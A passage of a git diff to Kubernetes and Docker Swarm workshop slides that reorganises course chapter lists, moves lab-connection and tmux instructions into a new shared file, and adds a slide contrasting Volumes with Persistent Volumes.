(but under the hood, the technical implementation is similar) - If you're not familiar with Docker volumes, you can safely ignore this slide! --- +## Volumes ≠ Persistent Volumes + +- Volumes and Persistent Volumes are related, but very different! + +- *Volumes*: + + - appear in Pod specifications (see next slide) + + - do not exist as API resources (**cannot** do `kubectl get volumes`) + +- *Persistent Volumes*: + + - are API resources (**can** do `kubectl get persistentvolumes`) + + - correspond to concrete volumes (e.g. on a SAN, EBS, etc.) + + - cannot be associated with a Pod directly; but through a Persistent Volume Claim + + - won't be discussed further in this section + +--- + ## A simple volume example ```yaml diff --git a/slides/k8s/whatsnext.md b/slides/k8s/whatsnext.md index 0b7d39be..48ec0550 100644 --- a/slides/k8s/whatsnext.md +++ b/slides/k8s/whatsnext.md @@ -132,6 +132,8 @@ And *then* it is time to look at orchestration! | [Persistent Volumes](kube-selfpaced.yml.html#toc-highly-available-persistent-volumes) +- Excellent [blog post](http://www.databasesoup.com/2018/07/should-i-run-postgres-on-kubernetes.html) tackling the question: “Should I run Postgres on Kubernetes?” + --- ## HTTP traffic handling diff --git a/slides/kube-admin-one.yml b/slides/kadm-fullday.yml similarity index 96% rename from slides/kube-admin-one.yml rename to slides/kadm-fullday.yml index 4dac2298..c18239db 100644 --- a/slides/kube-admin-one.yml +++ b/slides/kadm-fullday.yml @@ -38,6 +38,7 @@ chapters: - - k8s/resource-limits.md - k8s/metrics-server.md - k8s/cluster-sizing.md + - k8s/horizontal-pod-autoscaler.md - - k8s/lastwords-admin.md - k8s/links.md - shared/thankyou.md diff --git a/slides/kadm-twodays.yml b/slides/kadm-twodays.yml new file mode 100644 index 00000000..2c5d4c66 --- /dev/null +++ b/slides/kadm-twodays.yml @@ -0,0 +1,69 @@ +title: | + Kubernetes + for administrators + and operators + +#chat: "[Slack](https://dockercommunity.slack.com/messages/C7GKACWDV)" +#chat: "[Gitter](https://gitter.im/jpetazzo/workshop-yyyymmdd-city)" +chat: "In person!" + +gitrepo: github.com/jpetazzo/container.training + +slides: http://container.training/ + +exclude: +- self-paced + +chapters: +- shared/title.md +- logistics.md +- k8s/intro.md +- shared/about-slides.md +- shared/toc.md +# DAY 1 +- - k8s/prereqs-admin.md + - k8s/architecture.md + - k8s/deploymentslideshow.md + - k8s/dmuc.md +- - k8s/multinode.md + - k8s/cni.md +- - k8s/apilb.md + - k8s/setup-managed.md + - k8s/setup-selfhosted.md + - k8s/cluster-upgrade.md + - k8s/staticpods.md +- - k8s/cluster-backup.md + - k8s/cloud-controller-manager.md + - k8s/healthchecks.md + - k8s/healthchecks-more.md +# DAY 2 +- - k8s/kubercoins.md + - k8s/logs-cli.md + - k8s/logs-centralized.md + - k8s/authn-authz.md + - k8s/csr-api.md +- - k8s/openid-connect.md + - k8s/control-plane-auth.md + ###- k8s/bootstrap.md + - k8s/netpol.md + - k8s/podsecuritypolicy.md +- - k8s/resource-limits.md + - k8s/metrics-server.md + - k8s/cluster-sizing.md + - k8s/horizontal-pod-autoscaler.md +- - k8s/prometheus.md + - k8s/extending-api.md + - k8s/operators.md + ###- k8s/operators-design.md +# CONCLUSION +- - k8s/lastwords-admin.md + - k8s/links.md + - shared/thankyou.md + - | + # (All content after this slide is bonus material) +# EXTRA +- - k8s/volumes.md + - k8s/configuration.md + - k8s/statefulsets.md + - k8s/local-persistent-volumes.md + - k8s/portworx.md diff --git a/slides/kube-fullday.yml b/slides/kube-fullday.yml index cd988f74..f9dd14d4 100644 --- a/slides/kube-fullday.yml +++ b/slides/kube-fullday.yml @@ -20,45 +20,48 @@ chapters: - shared/about-slides.md - shared/toc.md - - shared/prereqs.md + - shared/connecting.md - k8s/versions-k8s.md - shared/sampleapp.md -# - shared/composescale.md -# - shared/hastyconclusions.md + #- shared/composescale.md + #- shared/hastyconclusions.md - shared/composedown.md - k8s/concepts-k8s.md - shared/declarative.md - k8s/declarative.md -- - k8s/kubenet.md - - k8s/kubectlget.md + - k8s/kubenet.md +- - k8s/kubectlget.md - k8s/setup-k8s.md - k8s/kubectlrun.md - k8s/deploymentslideshow.md - k8s/kubectlexpose.md - - k8s/shippingimages.md -# - k8s/buildshiprun-selfhosted.md + #- k8s/buildshiprun-selfhosted.md - k8s/buildshiprun-dockerhub.md - k8s/ourapponkube.md -# - k8s/kubectlproxy.md -# - k8s/localkubeconfig.md -# - k8s/accessinternal.md + #- k8s/kubectlproxy.md + #- k8s/localkubeconfig.md + #- k8s/accessinternal.md - k8s/dashboard.md -# - k8s/kubectlscale.md + #- k8s/kubectlscale.md - k8s/scalingdockercoins.md - shared/hastyconclusions.md - k8s/daemonset.md - - k8s/rollout.md + - k8s/namespaces.md + #- k8s/kustomize.md + #- k8s/helm.md + #- k8s/create-chart.md # - k8s/healthchecks.md # - k8s/healthchecks-more.md - k8s/logs-cli.md - k8s/logs-centralized.md -#- - k8s/helm.md -# - k8s/create-chart.md -# - k8s/kustomize.md -# - k8s/namespaces.md -# - k8s/netpol.md -# - k8s/authn-authz.md -#- - k8s/ingress.md -# - k8s/gitworkflows.md + #- k8s/netpol.md + #- k8s/authn-authz.md + #- k8s/csr-api.md + #- k8s/podsecuritypolicy.md + #- k8s/ingress.md + #- k8s/gitworkflows.md - k8s/prometheus.md #- - k8s/volumes.md # - k8s/build-with-docker.md @@ -66,7 +69,11 @@ chapters: # - k8s/configuration.md #- - k8s/owners-and-dependents.md # - k8s/extending-api.md +# - k8s/operators.md +# - k8s/operators-design.md # - k8s/statefulsets.md + #- k8s/local-persistent-volumes.md + #- k8s/staticpods.md # - k8s/portworx.md - - k8s/whatsnext.md - k8s/links.md diff --git a/slides/kube-halfday.yml b/slides/kube-halfday.yml index 8ff6b2ea..53bc677b 100644 --- a/slides/kube-halfday.yml +++ b/slides/kube-halfday.yml @@ -22,6 +22,7 @@ chapters: - shared/about-slides.md - shared/toc.md - - shared/prereqs.md + - shared/connecting.md - k8s/versions-k8s.md - shared/sampleapp.md # Bridget doesn't go into as much depth with compose @@ -53,10 +54,10 @@ chapters: - - k8s/logs-cli.md # Bridget hasn't added EFK yet #- k8s/logs-centralized.md + - k8s/namespaces.md - k8s/helm.md - k8s/create-chart.md #- k8s/kustomize.md - - k8s/namespaces.md #- k8s/netpol.md - k8s/whatsnext.md # - k8s/links.md diff --git a/slides/kube-selfpaced.yml b/slides/kube-selfpaced.yml index fcbf8f06..78608175 100644 --- a/slides/kube-selfpaced.yml +++ b/slides/kube-selfpaced.yml @@ -20,6 +20,7 @@ chapters: - shared/about-slides.md - shared/toc.md - - shared/prereqs.md + - shared/connecting.md - k8s/versions-k8s.md - shared/sampleapp.md - shared/composescale.md @@ -33,8 +34,8 @@ chapters: - k8s/setup-k8s.md - k8s/kubectlrun.md - k8s/deploymentslideshow.md - - k8s/kubectlexpose.md -- - k8s/shippingimages.md +- - k8s/kubectlexpose.md + - k8s/shippingimages.md - k8s/buildshiprun-selfhosted.md - k8s/buildshiprun-dockerhub.md - k8s/ourapponkube.md @@ -42,21 +43,23 @@ chapters: - k8s/localkubeconfig.md - k8s/accessinternal.md - k8s/dashboard.md - - k8s/kubectlscale.md +- - k8s/kubectlscale.md # - k8s/scalingdockercoins.md # - shared/hastyconclusions.md - k8s/daemonset.md -- - k8s/rollout.md + - k8s/rollout.md + - k8s/namespaces.md +- - k8s/kustomize.md + - k8s/helm.md + - k8s/create-chart.md - k8s/healthchecks.md - k8s/healthchecks-more.md - k8s/logs-cli.md - k8s/logs-centralized.md -- - k8s/helm.md - #- k8s/create-chart.md - - k8s/kustomize.md - - k8s/namespaces.md - - k8s/netpol.md +- - k8s/netpol.md - k8s/authn-authz.md + - k8s/csr-api.md + - k8s/podsecuritypolicy.md - - k8s/ingress.md - k8s/gitworkflows.md - k8s/prometheus.md @@ -66,7 +69,10 @@ chapters: - k8s/configuration.md - - k8s/owners-and-dependents.md - k8s/extending-api.md - - k8s/statefulsets.md + - k8s/operators.md + - k8s/operators-design.md +- - k8s/statefulsets.md + - k8s/local-persistent-volumes.md - k8s/portworx.md - k8s/staticpods.md - - k8s/whatsnext.md diff --git a/slides/kube-twodays.yml b/slides/kube-twodays.yml index c22531c4..107c2009 100644 --- a/slides/kube-twodays.yml +++ b/slides/kube-twodays.yml @@ -20,6 +20,7 @@ chapters: - shared/about-slides.md - shared/toc.md - - shared/prereqs.md + - shared/connecting.md - k8s/versions-k8s.md - shared/sampleapp.md #- shared/composescale.md @@ -28,8 +29,8 @@ chapters: - k8s/concepts-k8s.md - shared/declarative.md - k8s/declarative.md -- - k8s/kubenet.md - - k8s/kubectlget.md + - k8s/kubenet.md +- - k8s/kubectlget.md - k8s/setup-k8s.md - k8s/kubectlrun.md - k8s/deploymentslideshow.md @@ -46,17 +47,19 @@ chapters: - k8s/scalingdockercoins.md - shared/hastyconclusions.md - - k8s/daemonset.md - - k8s/rollout.md + - k8s/rollout.md + - k8s/namespaces.md + - k8s/kustomize.md + #- k8s/helm.md + #- k8s/create-chart.md - k8s/healthchecks.md - k8s/healthchecks-more.md - k8s/logs-cli.md - k8s/logs-centralized.md -- - k8s/helm.md - #- k8s/create-chart.md - - k8s/kustomize.md - - k8s/namespaces.md - - k8s/netpol.md + #- k8s/netpol.md - k8s/authn-authz.md + - k8s/csr-api.md + - k8s/podsecuritypolicy.md - - k8s/ingress.md #- k8s/gitworkflows.md - k8s/prometheus.md @@ -66,9 +69,12 @@ chapters: - k8s/configuration.md #- k8s/owners-and-dependents.md - k8s/extending-api.md + - k8s/operators.md + - k8s/operators-design.md - - k8s/statefulsets.md + - k8s/local-persistent-volumes.md - k8s/portworx.md - - k8s/staticpods.md + #- k8s/staticpods.md - - k8s/whatsnext.md - k8s/links.md - shared/thankyou.md diff --git a/slides/shared/connecting.md b/slides/shared/connecting.md new file mode 100644 index 00000000..2e83d996 --- /dev/null +++ b/slides/shared/connecting.md @@ -0,0 +1,133 @@ +class: in-person + +## Connecting to our lab environment + +.exercise[ + +- Log into the first VM (`node1`) with your SSH client + + + +- Check that you can SSH (without password) to `node2`: + ```bash + ssh node2 + ``` +- Type `exit` or `^D` to come back to `node1` + + + +] + +If anything goes wrong — ask for help! + +--- + +## Doing or re-doing the workshop on your own? + +- Use something like + [Play-With-Docker](http://play-with-docker.com/) or + [Play-With-Kubernetes](https://training.play-with-kubernetes.com/) + + Zero setup effort; but environment are short-lived and + might have limited resources + +- Create your own cluster (local or cloud VMs) + + Small setup effort; small cost; flexible environments + +- Create a bunch of clusters for you and your friends + ([instructions](https://@@GITREPO@@/tree/master/prepare-vms)) + + Bigger setup effort; ideal for group training + +--- + +class: self-paced + +## Get your own Docker nodes + +- If you already have some Docker nodes: great! + +- If not: let's get some thanks to Play-With-Docker + +.exercise[ + +- Go to http://www.play-with-docker.com/ + +- Log in + +- Create your first node + + + +] + +You will need a Docker ID to use Play-With-Docker. + +(Creating a Docker ID is free.) + +--- + +## We will (mostly) interact with node1 only + +*These remarks apply only when using multiple nodes, of course.* + +- Unless instructed, **all commands must be run from the first VM, `node1`** + +- We will only check out/copy the code on `node1` + +- During normal operations, we do not need access to the other nodes + +- If we had to troubleshoot issues, we would use a combination of: + + - SSH (to access system logs, daemon status...) + + - Docker API (to check running containers and container engine status) + +--- + +## Terminals + +Once in a while, the instructions will say: +
"Open a new terminal." + +There are multiple ways to do this: + +- create a new window or tab on your machine, and SSH into the VM; + +- use screen or tmux on the VM and open a new window from there. + +You are welcome to use the method that you feel the most comfortable with. + +--- + +## Tmux cheatsheet + +[Tmux](https://en.wikipedia.org/wiki/Tmux) is a terminal multiplexer like `screen`. + +*You don't have to use it or even know about it to follow along. +
+But some of us like to use it to switch between terminals. +
+It has been preinstalled on your workshop nodes.* + +- Ctrl-b c → creates a new window +- Ctrl-b n → go to next window +- Ctrl-b p → go to previous window +- Ctrl-b " → split window top/bottom +- Ctrl-b % → split window left/right +- Ctrl-b Alt-1 → rearrange windows in columns +- Ctrl-b Alt-2 → rearrange windows in rows +- Ctrl-b arrows → navigate to other windows +- Ctrl-b d → detach session +- tmux attach → reattach to session diff --git a/slides/shared/prereqs.md b/slides/shared/prereqs.md index 7840b527..9daca01a 100644 --- a/slides/shared/prereqs.md +++ b/slides/shared/prereqs.md @@ -90,7 +90,7 @@ class: in-person ## Why don't we run containers locally? -- Installing that stuff can be hard on some machines +- Installing this stuff can be hard on some machines (32 bits CPU or OS... Laptops without administrator access... etc.) @@ -169,143 +169,3 @@ class: in-person, extra-details - It requires UDP ports to be open (By default, it uses a UDP port between 60000 and 61000) - ---- - -class: in-person - -## Connecting to our lab environment - -.exercise[ - -- Log into the first VM (`node1`) with your SSH client - - - -- Check that you can SSH (without password) to `node2`: - ```bash - ssh node2 - ``` -- Type `exit` or `^D` to come back to `node1` - - - -] - -If anything goes wrong — ask for help! - ---- - -## Doing or re-doing the workshop on your own? - -- Use something like - [Play-With-Docker](http://play-with-docker.com/) or - [Play-With-Kubernetes](https://training.play-with-kubernetes.com/) - - Zero setup effort; but environment are short-lived and - might have limited resources - -- Create your own cluster (local or cloud VMs) - - Small setup effort; small cost; flexible environments - -- Create a bunch of clusters for you and your friends - ([instructions](https://@@GITREPO@@/tree/master/prepare-vms)) - - Bigger setup effort; ideal for group training - ---- - -class: self-paced - -## Get your own Docker nodes - -- If you already have some Docker nodes: great! - -- If not: let's get some thanks to Play-With-Docker - -.exercise[ - -- Go to http://www.play-with-docker.com/ - -- Log in - -- Create your first node - - - -] - -You will need a Docker ID to use Play-With-Docker. - -(Creating a Docker ID is free.) - ---- - -## We will (mostly) interact with node1 only - -*These remarks apply only when using multiple nodes, of course.* - -- Unless instructed, **all commands must be run from the first VM, `node1`** - -- We will only checkout/copy the code on `node1` - -- During normal operations, we do not need access to the other nodes - -- If we had to troubleshoot issues, we would use a combination of: - - - SSH (to access system logs, daemon status...) - - - Docker API (to check running containers and container engine status) - ---- - -## Terminals - -Once in a while, the instructions will say: -
"Open a new terminal." - -There are multiple ways to do this: - -- create a new window or tab on your machine, and SSH into the VM; - -- use screen or tmux on the VM and open a new window from there. - -You are welcome to use the method that you feel the most comfortable with. - ---- - -## Tmux cheatsheet - -[Tmux](https://en.wikipedia.org/wiki/Tmux) is a terminal multiplexer like `screen`. - -*You don't have to use it or even know about it to follow along. -
-But some of us like to use it to switch between terminals. -
-It has been preinstalled on your workshop nodes.* - -- Ctrl-b c → creates a new window -- Ctrl-b n → go to next window -- Ctrl-b p → go to previous window -- Ctrl-b " → split window top/bottom -- Ctrl-b % → split window left/right -- Ctrl-b Alt-1 → rearrange windows in columns -- Ctrl-b Alt-2 → rearrange windows in rows -- Ctrl-b arrows → navigate to other windows -- Ctrl-b d → detach session -- tmux attach → reattach to session diff --git a/slides/shared/sampleapp.md b/slides/shared/sampleapp.md index cd9db553..0636d2de 100644 --- a/slides/shared/sampleapp.md +++ b/slides/shared/sampleapp.md @@ -80,7 +80,7 @@ and displays aggregated logs. - DockerCoins is *not* a cryptocurrency - (the only common points are "randomness", "hashing", and "coins" in the name) + (the only common points are "randomness," "hashing," and "coins" in the name) --- @@ -134,7 +134,7 @@ How does each service find out the address of the other ones? - We do not hard-code IP addresses in the code -- We do not hard-code FQDN in the code, either +- We do not hard-code FQDNs in the code, either - We just connect to a service name, and container-magic does the rest @@ -173,7 +173,7 @@ class: extra-details - Compose file version 2+ makes each container reachable through its service name -- Compose file version 1 did require "links" sections +- Compose file version 1 required "links" sections to accomplish this - Network aliases are automatically namespaced diff --git a/slides/swarm-fullday.yml b/slides/swarm-fullday.yml index ab3b38a9..8f30665d 100644 --- a/slides/swarm-fullday.yml +++ b/slides/swarm-fullday.yml @@ -24,6 +24,7 @@ chapters: - shared/about-slides.md - shared/toc.md - - shared/prereqs.md + - shared/connecting.md - swarm/versions.md - shared/sampleapp.md - shared/composescale.md diff --git a/slides/swarm-halfday.yml b/slides/swarm-halfday.yml index d69c5c2c..a80a0733 100644 --- a/slides/swarm-halfday.yml +++ b/slides/swarm-halfday.yml @@ -24,6 +24,7 @@ chapters: - shared/about-slides.md - shared/toc.md - - shared/prereqs.md + - shared/connecting.md - swarm/versions.md - shared/sampleapp.md - shared/composescale.md diff --git a/slides/swarm-selfpaced.yml b/slides/swarm-selfpaced.yml index 73290511..2510eed5 100644 --- a/slides/swarm-selfpaced.yml +++ b/slides/swarm-selfpaced.yml @@ -19,6 +19,7 @@ chapters: - shared/about-slides.md - shared/toc.md - - shared/prereqs.md + - shared/connecting.md - swarm/versions.md - | name: part-1 diff --git a/slides/swarm-video.yml b/slides/swarm-video.yml index ba62175a..0d361a40 100644 --- a/slides/swarm-video.yml +++ b/slides/swarm-video.yml @@ -19,6 +19,7 @@ chapters: - shared/about-slides.md - shared/toc.md - - shared/prereqs.md + - shared/connecting.md - swarm/versions.md - | name: part-1